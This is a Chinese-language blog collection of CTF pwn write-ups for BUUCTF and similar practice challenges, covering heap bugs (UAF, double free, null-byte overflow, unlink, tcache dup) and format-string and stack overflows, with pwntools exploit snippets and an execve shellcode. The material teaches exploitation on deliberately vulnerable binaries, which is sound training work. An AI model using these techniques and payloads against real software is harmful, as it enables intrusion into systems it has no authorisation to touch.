BUUCTF PWN WRITEUP

本来想着要不要把所有的WP整合在一起,但是太麻烦了…所以决定在本篇给出以往几篇的链接,并且以后的都写在本篇(不定期更新)

BUUCTF PWN WRITEUP Part1

BUUCTF PWN WRITEUP Part2

BUUCTF PWN WRITEUP Part3

BUUCTF PWN WRITEUP Part4

BUUCTF PWN WRITEUP Part5

BUUCTF PWN WRITEUP Part6

BUUCTF PWN WRITEUP Part7

wdb_2018_1st_babyheap

Ubuntu16.04 只有PIE是关着的。

功能齐全,alloc、delete、edit、free。这里功能很简单不一一截图了,前面有个sleep(5),为了方便可以把它nop掉。

alloc就是要求输入下标,会申请0x20+0x10的chunk到ptr全局数组中,然后read_content倒是有一个null-by-one的情况,但是好像没什么可以利用的。delete有一个UAF。

思路比较简单,先fastbin链leak出heap地址,然后在一个chunk中伪造一个fake chunk,之后UAF修改fd拿到这块fake chunk修改next chunk的size完成leak libc操作,然后因为size的原因,我们不能fastbin attack,要提前构造好unlink。

值得提一句的是,edit只有三次机会,并且因为UAF的原因我们只能申请10个chunk)

堆布局如上。可以看到绕过unlink的检查是没得问题的。

难点其实就在于只能0x20的chunk,然后edit只有三次,所以只能提前做好unlink的布局,这里写的不是很详细,我在另一篇文章中有详细的解析。


hgame2018_flag_server

看一下点:

考虑变量覆盖,只要把flag覆盖成1,就可以getflag。

length写成-1即可。


xman_2019_format

x86,开了NX

可以看到是不在栈上的格式化字符串,也有后门。没开PIE就好),只能利用一次。

先断在printf上。

我们需要找个栈上的指针链。

同时可以看到上图有很多程序地址,修改为后门即可。

可以通过上图修改0xffad6538的内容指向0xffad655c,然后再通过修改0xffad6558的内容指向后门。

找到对应偏移。

修改第一次后,接着修改第二次。

这里存在一个爆破的问题。

情况1
情况2

上面三图是成功的情况。

上图是不成功的情况。

可以看到,指针链中的我们要第一次修改的指针是随机的,只有低一字节的高位是拿不准的,所以理论有1/16的可能,但是看到成功情况的情况1其实并不是我们预期修改的地址,但还是成功了,是因为该位置刚刚好也有程序的地址并且是后面要执行的。


PWN

声明一下这个不是buu上面的题,是一个师傅过来问我也不知道是哪的。

还是比较贴心的,格式化字符串来leak libc和canary,栈溢出可以选择栈迁移或者直接ret2one_gadget。

格式化字符串offset=7,libc则为16。

上图为canary,则canary的offset为10。

后面动调更正一下,libc和canary的offset分别为9和15.

当然,stack pivot也是ok的。

后面尝试栈迁移:

看到也是执行system了,rdi也是/bin/sh,但是无法getshell。

拿one_gadget测试可以看到栈迁移是成功的。


actf_2019_message

libc 2.27

main
add

全局数组存了chunk的size和地址,最多10个chunk,大小无限制。

delete

delete有问题,就是首先没有把list种的指针置空并且没有判断是否为空(可 double free)。这里就有一个问题,因为没有清空指针,那么add的时候最多只能add十次,每次申请都写入一个指针但delete都没删除。

edit

这里没什么问题。

show

看起来也没什么问题。

因为没有限制size,可以申请超过0x400的chunk进入unsorted bin再malloc回来leak libc,然后申请两个chunk(delete是判断了idx,每次delete后idx都会–),double free后申请回来进行tcache dup,因为是2.27所以建议直接system。

远程拿不到shell,不知道为什么。


argv

emmm这题也不是BUU上面的。

最后buf被拼接进了全局变量st。

逻辑还挺简单的,就是让你输入一串字符串,然后调用load。load就是根据传进来的name再libc中找对应的函数然后返回地址。调用完load就调用load返回的地址,参数是v6,小河里检测了a1的值。

看似我们不能控制name、v6和a1,其实是有变量覆盖的:

payload = '/bin/sh\x00' + 'A' * (0x3A - 0x1C - 0x8)
payload+= 'system' + '\x00' * (0x18 - 0x10 - 0x2)
payload+= 'okok' + p32(0x0804A0A0)
payload+= 'A' * (0x8+0x8) + p32(0xdeadbeef)

sla('your input : ',payload)

ia()

emmm唯一麻烦的地方就是偏移有点麻烦,而且注意load它加载的不是/lib目录下的libc,因此本地调试要用LD_PRELOAD加载它打开的libc。

执行完dlsym()后,返回值EAX确实变成了system

v5(v6)处,注意这里要写地址,刚好buf被拼到全局变量st上,就在st开头写sh字符串就行了。

还是说一句吧,这个偏移有点麻烦…,要计算好不然拿不到shell。

sctf_2019_easy_heap

Ubuntu 18

init

初始化工作。

看到有Alloc、Delete、Fill三个功能。

Alloc

可以看到最多有16个chunk,size最大为0x1000+0x10,并且每Alloc一次,全局变量num++,全局数组存放了chunk地址以及size。

delete

常规delete,判断了idx的合法性以及全局数组对应的chunk地址是否存在,并将地址和size置空,每delete一次则num–

fill

修改。

read

漏洞点在这个位置,null-by-one。

难点就在于没有show功能。

利用0x400以上的chunk以及堆块重叠让main_arena进入tcache,爆破stdout。

###chunk overlapping###
add(0x410)#0
add(0x68)#1
add(0x4f0)#2
add(0x60)#3

delete(0)

payload = 'A' * 0x60 + p64(0x420+0x70)
fill(1,payload)

delete(2)
delete(1)

add(0x410)#0

注意涉及到null-by-one的chunk一定要0xf0或0xf8类似的,因为0xf8(0x101)->0x100,如果低于0xf8会直接盖成00,又因为要进入main_arena只能0x4f0了。还要注意第一个chunk也要进入unsorted bin,不然inuse标志位不会置0.

可以看到只有低二字节的高位不同,1/16的概率。

不好意思,上面的stdout给错了:

    ###leak libc###
    add(0x410)#0
    add(0x68+0x4f0)#1
    payload = '\x60' + '\x07'
    fill(1,payload,1)

    add(0x60)#3
    add(0x60)#4

    payload = p64(0xfbad1887) + p64(0) * 3 + '\0'
    fill(4,payload)

    libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x3ed8b0
    success('libc base:'+hex(libc_base))
    pause()

先把合并的大chunk中的第一个chunk申请过来,使main_arena落入tcache,然后再把剩下的大块申请出来覆盖低位,然后拿到stdout去修改它的结构leak libc。

    ###fastbin attack###
    free_hook = libc_base + libc.symbols['__free_hook']
    system = libc_base + libc.symbols['system']

    add(0x510)#5
    add(0x28)#6
    add(0x5f0)#7
    add(0x20)#8

    delete(5)

    payload = 'A' * 0x20 + p64(0x520 + 0x30)
    fill(6,payload)

    delete(7)
    delete(6)

    add(0x510+0x20)#5
    payload = 'A' * 0x510 + p64(0) + p64(0x30) + p64(free_hook)
    fill(5,payload)

    add(0x20)#6
    add(0x20)#7

    fill(7,p64(system))
    fill(1,'/bin/sh\x00')

之后就是进行类似的操作,拿到free hook,这里注意tcache中0x70的链已经坏掉了,要换个size,这里选择了0x28。

system打free_hook远程又打不通….换one_gadget打malloc_hook都没用。

连着两个本地通远程不通就很迷…BUU是不是换规则了?

原本是2.23环境下的,这样的话其实还简单一点,但是换到2.27后要考虑tcache中坏掉的链所以相对麻烦,还有另一种打法就是它开辟了RWX内存段,可以拿到它然后写shellcode再打malloc_hook,这里暂时不赘述了。


lctf2016_pwn200

Ubuntu 16,没有开什么保护并且有RWX段。

welcome_400A8E

这里其实是有一个off-by-one的,典型的栅栏问题。再看了该函数的栈布局,应该会把RBP打印出来。

main_400A29

这里一开始也没看出来有什么问题,后面看栈布局发现buf只有0x38,可以覆盖掉dest。

enter_4009C4

到了这里呢,就有两个常规的malloc和free操作,malloc可以申请小于等于0x80的chunk。

一个比较简单的思路就是,在welcome_400A8E()处输入shellcode,然后把leak出来了rbp计算出shellcode的地址,然后在main_400A29处把dest覆盖为free_got的同时将其内容改为shellcode的地址。


###init###
payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = payload.ljust(0x30,'A')
sda('are u?\n',payload)
rbp = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
success('RBP:'+hex(rbp))
#gdb.attach(p)

offset = 0x50
shellcode_address = rbp - offset
success('shellcode:'+hex(shellcode_address))

sla('id ~~?\n','0')

###hijack GOT###
payload = p64(shellcode_address)
payload = payload.ljust(0x38,'\x00')
payload+= p64(elf.got['free'])

sla('money~',payload)

###get shell###
sla('choice : ','2')
ia()

注意leak rbp的时候用了sda,不然地址应该会出现问题。


suctf_2018_stack

pwndbg> p/x $rsp + 0x40
$1 = 0x7fffab018d48

去调整了栈对齐也没能getshell。

跳到这里。

rootersctf_2019_babypwn

简单栈溢出,不过这里需要考虑栈对齐的问题。


picoctf_2018_echooo

可以看到存放flag的地址偏移为8因此%8$s即可。


ciscn_2019_c_3

Ubuntu 18

增删查功能还有一个backdoor。

只能有三种大小的chunk,最多9个chunk。

正常的输出

UAF。

感觉这个花里胡哨的没看到什么用处…

因为有UAF就方便很多了。。这里需要注意,因为UAF的存在,使得我们就能申请8个chunk,因此leak libc的时候不能申请8个,这样后面就无法进行了,可以申请两个然后free前面一个8次进入unsorted bin。

###leak libc###
create(0x100,'leak libc')#0
create(0x60,'make a fake chunk')#1
create(0x60,'/bin/sh\x00')#2

for i in range(8):
    delete(0)

show(0)
ru('attack_times: ')
libc_base = int(rv(16)) - 96 - 0x3ebc40

success('libc base:'+hex(libc_base))

后面发现即使create也无法修改fd域。

这是backdoor的效果,我们再来仔细看一下这个函数:

This image has an empty alt attribute; its file name is image-19.png

要求idx-1>v1的时候才会使fd自加1,因为idx的原因我们让idx为2的chunk执行0x20次backdoor即可加0x20(free两个形成链后即指向另一chunk下面0x20的位置),伪造一个chunk,指向0x20是因为tcache是以用户区为指针返回的。

首先前面创建的三个chunk,free掉chunk1,再add回来伪造chunk头(不伪造应该也是可以的)以及fd为free hook,再free掉,再free chunk2,让chunk2的fd自增0x20即指向了free hook。

###tcache dup###
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
one_gadget = libc_base + 0x4f322

delete(1)
create(0x60,p64(0)+p64(0)+p64(free_hook-0x10))#1
delete(1)
delete(2)

for i in range(0x20):
    backdoor(2)


create(0x60,'/bin/sh\x00')
create(0x60,'/bin/sh\x00')
create(0x60,p64(one_gadget))

这里忘记了fd不可控不是sh字符串,还是用one_gadget打malloc hook吧。

本地打了malloc hook,但远程不同,打free hook即可。

其实就是利用backdoor使fd指向fake chunk的位置,并提前在此伪造好fd。


starctf_2019_girlfriend

ubuntu16 保护全开。

其实只有增删查这三个功能

add

可以看到最多有100个girlfriend,会有一个0x18+0x10的chunk来存放girlfriend的call以及girlfriend chunk的地址。而girlfriend chunk的大小可以自定义。

show

常规输出。

call

其实是一个free的功能,存在UAF,后面的随机同不同意无关紧要。

UAF leak libc + double free,当然也可以去利用UAF控制结构体实现任意地址读写。


wdb_2018_3rd_soEasy

基本没什么保护

溢出的大小基本是不够去leak完后再返回到main的,考虑一下栈迁移。

sorry忘记了这是x86的,应该是够用。

32位的传参差点忘了。


qctf2018_stack2

注意看changeNumbers这个功能,对于numbers_array的下标numbers并没有检查造成数组下标越界。其中numbers_array距离ebp为0x70。发现从0x74开始写并不能getshell,怀疑是不是ret不在0x70+0x4的位置上。

下断点在changeNumber的scanf上,发现写入地址为0xffffa888,运行至ret处:

pwndbg> distance 0xffffa888 0xffffa90c
0xffffa888->0xffffa90c is 0x84 bytes (0x21 words)

主要是ret不在ebp+0x4的位置,需要调试一下。


wdb_2018_3rd_pesp

223的环境,没开RELO和PIE。

看到一开始申请了个chunk把两个函数指针放了进去,暂时还不知道用不用的上。

show和remove就很常规,没有什么点,看一下add和change:

首先数量很充足并且size无限制,要注意读入长度+1的那个字节置0.

可以重新输入长度造成堆溢出,同样注意置0的情况。

似乎暂时看不到什么作用。

这种情况我一般会选择构造overlapping,当然也可以选择unlink来做。

先说overlapping,这里注意有了\x00截断,不能套路的去释放再申请覆盖然后leak,要只释放大块,再申请一个然后会有两个chunk都有main_arena,其中一个申请的时候被截断,另一个还不是free状态可以show。

###一般套路###

###leak libc###
add(0x10,'aaaa')#0
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x60,'dddd')#3
add(0x10,'eeee')#4


fake_size = 0x60+0x60+0x60+0x10+0x10+0x10+0x1
payload = 'A' * 0x10 + p64(0) + p64(fake_size)
change(0,0x20,payload)

remove(2)
remove(3)
remove(1)

add(0x60,'aaaaaaaa')#1
show()
###这时候因为\x00截断的原因,新的#1是leak不出libc的###


###现在的情况###

add(0x10,'aaaa')#0
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x60,'dddd')#3
add(0x10,'eeee')#4


fake_size = 0x60+0x60+0x60+0x10+0x10+0x10+0x1
payload = 'A' * 0x10 + p64(0) + p64(fake_size)
change(0,0x20,payload)

remove(1)

add(0x60,'aaaa')#1

show()
ru('2 :')
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x3c4b20
success('libc base:'+hex(libc_base))
###此时块2内也有libc并且不是释放状态###

然后堆溢出一波带走:

再接着说说unlink,也很简单,在一个chunk中伪造一个fake chunk,然后通过溢出修改next chunk的prev_size即可。

###init###
ptr = 0x6020C8 + 0x10
fake_FD = ptr - 0x18
fake_BK = ptr - 0x10

###unlink###

add(0x10,'aaaa')#0
add(0x60,'aaaa')#1
add(0x80,'bbbb')#2
add(0x10,'gap')#3

payload = p64(0) + p64(0x60) + p64(fake_FD) + p64(fake_BK)
payload = payload.ljust(0x60,'A')
payload+= p64(0x60) + p64(0x90)
change(1,len(payload),payload)

remove(2)

remove(2)后:

list已经有指针指向list,接下来不用多说,就是修改list中的chunk指针leak以及getshell。


Leave a Reply

Your email address will not be published. Required fields are marked *

four × four =